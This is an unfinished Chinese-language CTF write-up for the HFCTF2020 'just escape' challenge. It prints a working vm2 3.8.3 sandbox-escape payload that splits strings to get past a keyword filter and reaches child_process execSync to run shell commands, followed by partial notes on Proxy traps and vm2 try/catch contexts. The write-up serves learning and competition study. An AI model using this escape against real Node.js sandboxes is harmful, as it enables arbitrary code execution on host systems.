>
This site is best viewed in a modern browser with JavaScript enabled.
### id="flarum-content">
HFCTF2020-Web-just escape
Frank
just escape
- js沙箱逃逸
起手一个code=Error().stack看一下call stack,发现用到了vm2
试着随便执行一些语句,可以发现过滤了一下内容:
- "
- prototype
- process
- constructor
- exec
- for 和 while
自己实在不会js沙箱逃逸,遂谷歌,看到这vm2的issue里exp满天飞
https://github.com/patriksimek/vm2/issues
由于是在比赛,时间要紧,一个一个试过去就行了
最终用的payload是3.8.3的一个逃逸(简单绕一下waf就行)
try {
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f[``.concat(`constr`,`uctor`)](``.concat(`return pro`,`cess`))();
}
}));
} catch(e) {
e(()=>{}).mainModule.require(``.concat(`child_proc`,`ess`))
[``.concat(`ex`,`ecSync`)](`cat package.json`)
}
看一眼package.json,果然是3.8.3
实际上这个是原题,只不过原题中只过滤了for和while,而且用的是上古版本的vm2
那么从研究的角度,这个exp为什么能打呢?
前置知识
1. Proxy
在Javascript中,Proxy对应的是代理模式(软件工程中设计模式的一种)
此处搬运一下MDN上的例子
const handler = {
get: function(obj, prop) {
return prop in obj ?
obj[prop] :
37;
}
};
const p = new Proxy({}, handler);
p.a = 1;
p.b = undefined;
console.log(p.a, p.b);
// 1, undefined
console.log('c' in p, p.c);
// false, 37
上面的例子中用到了get
这个trap。如果最近上了操作系统的话会对这个有些印象
对Object
的大部分操作(所有?)都有其相应的trap,具体有哪些、叫什么移步搜索引擎
2. Buffer.from
// Work in Progress
回到vm2
3. vm2中的try/catch机制
受到github上vm2 issue中那位巨佬XmiliaH之前的exp的启发,vm2中try block和catch block的运行上下文可能不同(try在沙箱里,catch可能就在沙箱外了)
题外话,最近恰好在撸一个微信小程序,真正体会到了“this到底是什么”的地狱感受,Promise救人于水火之中
4. Proxy in vm2
我们看一看issue#225中的讨论
作者想通过一个实验来复现exp的行为
const a = new Proxy({}, {
getOwnPropertyDescriptor(){
debugger;
}
})
const b = new Proxy(a, {
getOwnPropertyDescriptor(){
debugger;
}
})
Object.getOwnPropertyDescriptor(b);
未完待续
Work in progress
我本来就不太写这种长的,大概率会咕(确信)
而且很多地方自己也还没搞懂
admin
秀秀秀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论